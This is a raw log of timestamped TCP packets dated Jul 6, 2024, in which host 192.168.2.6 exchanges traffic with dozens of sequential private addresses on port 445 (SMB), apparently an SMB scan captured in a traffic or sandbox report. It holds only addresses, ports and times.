Jul 6, 2024 14:11:26.641547918 CEST	445	50607	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:26.643507004 CEST	445	50609	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:26.643635988 CEST	445	50610	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:26.643717051 CEST	50609	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:26.643809080 CEST	445	50611	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:26.643825054 CEST	50610	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:26.645075083 CEST	50611	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:26.645076036 CEST	50609	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:26.645076036 CEST	50610	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:26.645076036 CEST	50611	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:26.645431995 CEST	445	50612	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:26.647654057 CEST	50613	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:26.647758007 CEST	50614	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:26.648814917 CEST	50612	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:26.648816109 CEST	50612	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:26.649318933 CEST	50616	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:26.649374962 CEST	50615	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:26.649852037 CEST	50608	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:26.652378082 CEST	445	50610	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:26.652386904 CEST	445	50609	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:26.652518988 CEST	445	50610	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:26.652673960 CEST	445	50608	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:26.652925014 CEST	445	50611	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:26.658195972 CEST	50610	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:26.658195972 CEST	50611	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:26.660087109 CEST	445	50613	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:26.660098076 CEST	445	50614	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:26.660106897 CEST	445	50616	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:26.660124063 CEST	445	50615	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:26.660240889 CEST	50615	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:26.660459042 CEST	50615	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:26.660875082 CEST	445	50612	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:26.660945892 CEST	50612	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:26.661359072 CEST	50613	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:26.661359072 CEST	50614	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:26.661359072 CEST	50613	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:26.661359072 CEST	50614	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:26.661981106 CEST	50608	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:26.665955067 CEST	445	50615	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:26.666104078 CEST	50617	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:26.666104078 CEST	50615	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:26.666425943 CEST	445	50610	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:26.666435003 CEST	445	50613	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:26.666500092 CEST	445	50614	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:26.666548014 CEST	50616	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:26.666548014 CEST	50616	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:26.666548014 CEST	50618	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:26.666909933 CEST	445	50608	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:26.667562962 CEST	445	50613	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:26.668860912 CEST	445	50614	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:26.672466993 CEST	445	50616	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:26.673156023 CEST	50616	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:26.675328016 CEST	445	50617	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:26.678674936 CEST	445	50618	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:26.678756952 CEST	50619	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:26.679495096 CEST	50618	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:26.679495096 CEST	50618	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:26.680007935 CEST	50620	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:26.681328058 CEST	50621	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:26.681601048 CEST	50617	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:26.681602001 CEST	50617	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:26.685019016 CEST	445	50620	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:26.685044050 CEST	445	50618	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:26.686981916 CEST	445	50617	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:26.687894106 CEST	445	50621	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:26.687964916 CEST	50617	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:26.687964916 CEST	50621	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:26.688019991 CEST	50621	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:26.688879967 CEST	445	50619	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:26.690927029 CEST	50620	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:26.690927029 CEST	50618	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:26.690927029 CEST	50620	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:26.693406105 CEST	50619	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:26.693406105 CEST	50619	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:26.694463968 CEST	50622	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:26.694758892 CEST	445	50621	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:26.695349932 CEST	50623	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:26.696183920 CEST	50624	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:26.696856022 CEST	445	50621	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:26.696917057 CEST	50621	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:26.697185040 CEST	445	50620	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:26.700007915 CEST	445	50622	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:26.700048923 CEST	445	50619	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:26.700109959 CEST	50622	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:26.700170040 CEST	50622	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:26.700625896 CEST	445	50619	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:26.701020002 CEST	445	50623	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:26.701091051 CEST	445	50624	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:26.702569962 CEST	50620	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:26.706291914 CEST	445	50622	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:26.706315041 CEST	445	50622	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:26.706509113 CEST	50623	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:26.706509113 CEST	50623	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:26.706509113 CEST	50624	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:26.706509113 CEST	50624	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:26.710346937 CEST	50625	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:26.710346937 CEST	50626	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:26.711561918 CEST	50627	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:26.712516069 CEST	445	50623	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:26.712575912 CEST	50628	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:26.712827921 CEST	445	50624	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:26.713357925 CEST	50623	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:26.713357925 CEST	50624	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:26.715873003 CEST	445	50625	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:26.716036081 CEST	445	50626	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:26.716103077 CEST	50625	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:26.716161966 CEST	50625	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:26.716161966 CEST	50626	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:26.716227055 CEST	50626	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:26.717186928 CEST	445	50627	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:26.717825890 CEST	50627	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:26.718122005 CEST	445	50628	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:26.721103907 CEST	445	50625	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:26.721297979 CEST	445	50626	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:26.721474886 CEST	445	50625	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:26.721874952 CEST	445	50626	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:26.723973036 CEST	445	50627	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:26.725632906 CEST	50627	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:26.725632906 CEST	50627	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:26.726466894 CEST	50628	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:26.726466894 CEST	50628	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:26.727663994 CEST	50630	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:26.732764006 CEST	445	50630	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:26.733218908 CEST	445	50627	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:26.733668089 CEST	50629	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:26.734622002 CEST	445	50589	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:26.734626055 CEST	50630	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:26.734626055 CEST	50630	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:26.735138893 CEST	50589	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:26.735723019 CEST	445	50628	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:26.736999989 CEST	50628	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:26.739171982 CEST	445	50628	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:26.739533901 CEST	445	50629	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:26.739876986 CEST	50629	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:26.739876986 CEST	50629	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:26.740292072 CEST	445	50630	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:26.742407084 CEST	50631	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:26.742733002 CEST	50632	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:26.744205952 CEST	50630	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:26.747056961 CEST	445	50629	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:26.747108936 CEST	50629	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:26.747780085 CEST	445	50631	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:26.747840881 CEST	50631	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:26.748423100 CEST	445	50632	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:26.748487949 CEST	50632	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:26.754597902 CEST	445	50631	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:26.755270958 CEST	445	50632	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:26.755314112 CEST	50632	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:26.755362988 CEST	50631	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:26.756767988 CEST	50632	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:26.757503033 CEST	50631	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:26.758235931 CEST	50634	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:26.759660006 CEST	50633	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:26.764105082 CEST	445	50632	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:26.764123917 CEST	445	50631	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:26.764149904 CEST	445	50634	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:26.764915943 CEST	50634	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:26.764915943 CEST	50634	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:26.765633106 CEST	445	50633	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:26.766340017 CEST	50633	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:26.768229961 CEST	50635	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:26.768584013 CEST	50636	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:26.772380114 CEST	50633	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:26.772690058 CEST	50637	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:26.773657084 CEST	50638	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:26.773786068 CEST	50639	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:26.774914026 CEST	445	50634	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:26.775038004 CEST	445	50633	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:26.775048018 CEST	445	50635	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:26.775080919 CEST	50633	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:26.775120020 CEST	50635	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:26.775152922 CEST	50635	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:26.775521040 CEST	445	50636	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:26.775563955 CEST	50636	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:26.775629997 CEST	50636	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:26.788124084 CEST	50640	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:26.789227009 CEST	50642	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:26.789227962 CEST	50641	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:26.798183918 CEST	445	50634	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:26.798365116 CEST	50634	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:26.798788071 CEST	445	50633	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:26.798798084 CEST	445	50637	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:26.798815012 CEST	445	50638	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:26.798825026 CEST	445	50639	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:26.798832893 CEST	445	50635	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:26.798841953 CEST	445	50636	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:26.798919916 CEST	445	50640	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:26.798954964 CEST	50639	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:26.799029112 CEST	50638	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:26.799029112 CEST	50640	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:26.799125910 CEST	50638	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:26.799141884 CEST	50640	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:26.799190044 CEST	50639	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:26.801670074 CEST	50637	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:26.801670074 CEST	50637	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:26.803792953 CEST	50643	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:26.803849936 CEST	50644	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:26.805039883 CEST	50645	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:26.807547092 CEST	50646	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:26.809501886 CEST	445	50642	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:26.809511900 CEST	445	50641	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:26.809787989 CEST	50642	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:26.809787989 CEST	50642	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:26.810853004 CEST	50641	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:26.819216013 CEST	50641	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:26.820497036 CEST	50647	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:26.820502996 CEST	50648	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:26.828114986 CEST	445	50635	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:26.828139067 CEST	445	50636	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:26.828150034 CEST	445	50604	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:26.828167915 CEST	445	50640	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:26.828176022 CEST	445	50639	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:26.828185081 CEST	445	50637	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:26.828210115 CEST	50604	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:26.828217983 CEST	445	50643	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:26.828227997 CEST	445	50644	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:26.828233004 CEST	50639	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:26.828246117 CEST	445	50645	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:26.828263044 CEST	50643	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:26.828309059 CEST	445	50638	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:26.828329086 CEST	50645	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:26.828340054 CEST	445	50646	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:26.828385115 CEST	50646	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:26.828500032 CEST	50643	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:26.828886986 CEST	50644	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:26.828886986 CEST	50638	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:26.828886986 CEST	50644	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:26.828896999 CEST	445	50640	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:26.828999043 CEST	445	50647	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:26.829008102 CEST	445	50648	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:26.829024076 CEST	445	50637	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:26.829147100 CEST	50648	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:26.829163074 CEST	445	50642	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:26.829345942 CEST	50642	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:26.829623938 CEST	50648	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:26.829720020 CEST	445	50641	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:26.831017971 CEST	50641	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:26.833708048 CEST	445	50645	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:26.833817005 CEST	445	50643	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:26.834088087 CEST	445	50646	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:26.834161043 CEST	50646	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:26.834213972 CEST	445	50644	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:26.834223032 CEST	445	50648	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:26.834439039 CEST	50648	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:26.834472895 CEST	445	50648	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:26.834510088 CEST	50647	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:26.834510088 CEST	50647	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:26.834510088 CEST	50645	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:26.834840059 CEST	50646	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:26.835731983 CEST	50645	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:26.836250067 CEST	50650	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:26.836693048 CEST	50644	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:26.839838028 CEST	445	50646	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:26.839931965 CEST	445	50644	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:26.840181112 CEST	445	50647	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:26.840533972 CEST	445	50647	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:26.840543032 CEST	445	50645	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:26.841135025 CEST	445	50650	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:26.841217995 CEST	50650	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:26.841289997 CEST	50650	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:26.841758966 CEST	50649	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:26.844120026 CEST	50647	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:26.844896078 CEST	445	50644	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:26.846642017 CEST	445	50650	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:26.846935034 CEST	445	50649	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:26.846976042 CEST	50649	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:26.848126888 CEST	50649	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:26.848280907 CEST	50650	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:26.850534916 CEST	50651	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:26.853037119 CEST	50652	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:26.854195118 CEST	50653	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:26.856901884 CEST	445	50649	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:26.856910944 CEST	445	50607	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:26.856940031 CEST	445	50649	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:26.856950045 CEST	50649	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:26.856991053 CEST	445	50651	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:26.858340979 CEST	50607	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:26.859313965 CEST	50651	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:26.859313965 CEST	50651	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:26.863071918 CEST	445	50653	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:26.863244057 CEST	445	50652	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:26.863312960 CEST	50653	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:26.863564014 CEST	50652	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:26.863564014 CEST	50652	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:26.866513014 CEST	445	50651	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:26.867690086 CEST	445	50651	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:26.868803024 CEST	50653	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:26.869275093 CEST	445	50653	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:26.869324923 CEST	50653	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:26.869565964 CEST	50654	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:26.869565964 CEST	50655	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:26.869807005 CEST	50656	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:26.869807005 CEST	50657	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:26.870793104 CEST	445	50652	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:26.870841026 CEST	50652	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:26.875439882 CEST	445	50653	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:26.877535105 CEST	445	50654	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:26.877545118 CEST	445	50655	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:26.877566099 CEST	445	50656	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:26.877576113 CEST	445	50657	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:26.877608061 CEST	50654	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:26.877646923 CEST	50655	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:26.877661943 CEST	50656	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:26.877661943 CEST	50657	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:26.877759933 CEST	50654	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:26.877896070 CEST	50656	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:26.878024101 CEST	50657	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:26.879364967 CEST	50655	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:26.883161068 CEST	445	50654	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:26.883219004 CEST	50654	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:26.883447886 CEST	445	50654	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:26.883742094 CEST	445	50655	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:26.884253025 CEST	445	50656	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:26.884393930 CEST	445	50655	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:26.884402990 CEST	445	50657	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:26.884413958 CEST	50655	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:26.886215925 CEST	50658	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:26.888416052 CEST	445	50654	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:26.889421940 CEST	445	50655	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:26.892723083 CEST	445	50658	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:26.894211054 CEST	50658	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:26.894211054 CEST	50658	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:26.895081043 CEST	50656	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:26.895081043 CEST	50657	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:26.895081043 CEST	50659	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:26.895081043 CEST	50660	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:26.899692059 CEST	445	50658	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:26.899986982 CEST	445	50658	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:26.900386095 CEST	50661	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:26.900386095 CEST	50662	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:26.901387930 CEST	50663	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:26.904315948 CEST	50664	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:26.906227112 CEST	445	50661	192.168.1.97	192.168.2.6
